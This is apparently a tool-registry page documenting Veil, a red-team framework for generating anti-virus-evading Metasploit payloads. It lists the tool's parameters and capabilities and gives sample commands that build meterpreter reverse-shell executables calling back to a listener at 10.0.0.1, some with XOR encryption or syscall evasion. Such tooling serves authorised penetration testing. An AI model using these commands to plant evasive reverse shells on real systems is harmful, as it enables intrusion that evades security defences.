security enabled verified high v1.0.0

veil

Veil framework for generating Metasploit-compatible payloads that bypass common anti-virus solutions.

📋 Live Preview
veil -t {tool} -p {payload} --ip {lhost} --port {lport}
๐ŸŒ tool โ†’ Evasion ๐ŸŒ payload โ†’ cs/meterpreter/rev_https.py ๐ŸŒ lhost โ†’ 10.0.0.1 ๐ŸŒ lport โ†’ 4444
veil -t {tool} -p {payload} --ip {lhost} --port {lport}

Sandbox: execFile · Timeout: 300s

Capabilities

payload.generation
av.evasion
metasploit.integration
shellcode.encoding

Parameters

Name Type Required Default Description Aliases
tool string No - Tool/payload type (Evasion, Ordnance, etc.) -t, --tool
payload string No - Payload name to generate -p, --payload
flag-o string No - Output file path -o, --output
flag-l string No - Listener payload type -l, --listener
flag-ip string No - Listener IP address --ip
flag-port integer No - Listener port --port
flag-msfvenom boolean No - Use msfvenom for payload generation --msfvenom
flag-c string No - Config file path -c, --config
flag-v boolean No - Verbose output -v, --verbose
encrypt string No - Encryption method --encrypt
evasion string No - Evasion technique --evasion
h boolean No - Show this help message -h, --help
no_msfvenom boolean No - Disable msfvenom payload generation --no-msfvenom

Contract

Inputs

payload.type

Type of payload to generate

network.lhost

Listener IP for reverse connection

network.lport

Listener port for reverse connection

evasion.technique

AV evasion technique to apply

Outputs

payload.binary

Generated evasive payload

Side effects: filesystem_write

Workflow Edges

Produces

payload.binary

Consumes

payload.typenetwork.lhostnetwork.lportevasion.technique

Resource Profile

ResourceValue
CPUmedium
Memory128 MB
Networklow
Disk I/Omedium

Examples

Generate meterpreter reverse HTTPS payload

veil -t Evasion -p cs/meterpreter/rev_https.py --ip 10.0.0.1 --port 443

Generate reverse TCP payload

veil -t Evasion -p cs/meterpreter/rev_tcp.py --ip 10.0.0.1 --port 4444

Generate with output file

veil -t Evasion -p cs/meterpreter/rev_http.py --ip 10.0.0.1 --port 80 -o payload.exe

Generate with specific evasion technique

veil -t Evasion -p cs/meterpreter/rev_tcp.py --ip 10.0.0.1 --port 4444 --evasion syscalls

Use msfvenom base generation

veil -t Evasion -p cs/meterpreter/rev_tcp.py --ip 10.0.0.1 --port 4444 --msfvenom

Verbose mode with encryption

veil -t Evasion -p cs/meterpreter/rev_tcp.py --ip 10.0.0.1 --port 4444 --encrypt xor -v

Documentation

Veil โ€” Payload Generation Framework

Veil is a framework designed to generate Metasploit-compatible payloads that circumvent common anti-virus solutions. It uses various encoding, encryption, and obfuscation techniques to produce evasive executables.

Key Features

  • AV Evasion: Multiple techniques to bypass anti-virus detection
  • Metasploit compatible: Generates payloads compatible with msfconsole
  • Multiple formats: Python, C, C#, PowerShell, and more
  • Custom encoders: XOR, AES, and other encryption methods
  • Ordnance: Built-in shellcode generation tool
  • Cross-platform payloads: Windows, Linux, and macOS targets

Dependencies

python3

Related Tools

shelltermetasploitmsfvenom

References